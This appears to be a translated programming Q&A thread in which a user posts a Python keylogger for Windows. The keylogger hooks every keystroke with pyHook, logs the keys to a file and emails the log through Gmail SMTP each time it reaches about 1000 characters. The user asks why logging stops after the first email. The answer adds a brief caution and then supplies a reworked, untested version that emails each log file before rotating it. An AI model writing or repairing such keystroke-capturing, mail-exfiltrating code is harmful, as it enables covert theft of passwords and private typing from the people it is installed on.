我正在研究简单的键盘记录器 -
import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")
def OnKeyboardEvent(event):
print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
checklog()
return True
def checklog():
f = open(path, "r")
x = f.read()
if len(x) == 1000:
server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
f.close()
f = open(path,"w")
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
当文件长度为1000时,它会将日志保存到文件并发送到电子邮件。然后日志被清除,当邮件长度为1000时再次邮寄等等。但是此代码无效,文件被发送到1000,已清除,但是不再记录。哪里有问题?感谢
答案 0 :(得分:0)
以下内容。但是,请仔细考虑为什么要使用键盘记录器。这是未经测试的。
from functools import partial
import logging
import logging.handlers
import smtplib
import pyHook
import pythoncom
class EmailingRotatingFileHandler(logging.handlers.RotatingFileHandler):
def __init__(self, smtp_credentials, **kargs):
self.smtp_credentials = smtp_credentials
super(EmailingRotatingFileHandler, self).__init__(**kargs)
def smtp_connect(self):
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("", "")
return server
def doRollover(self):
## Close the stream
if self.stream:
self.stream.close()
self.stream = None
## Email the file
server = self.smtp_connect()
with open(self.baseFilename, 'r') as logfile:
contents = logfile.read()
server.sendmail(self.smtp_credentials[0], self.smtp_credentials[1], contents)
server.quit()
## Proceed with the rollover
super(EmailingRotatingFileHandler, self).doRollover()
def OnKeyboardEvent(logger, event):
print "Key: ", chr(event.Ascii)
logger.info(chr(event.Ascii))
return True
def main():
path = r"C:\Users\Karel\Desktop\log.txt"
smtp_credentials = ("", "")
## Set up the logging
logger = logging.getLogger()
logger.setLevel(logging.INFO)
log_handler = EmailingRotatingFileHandler(smtp_credentials, path, maxBytes=1024)
formatter = logging.Formatter('%(message)s')
log_handler.setFormatter(formatter)
logger.addHandler(log_handler)
## Configure the event handlers
hm = pyHook.HookManager()
hm.KeyDown = partial(OnKeyboardEvent, logger)
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
main()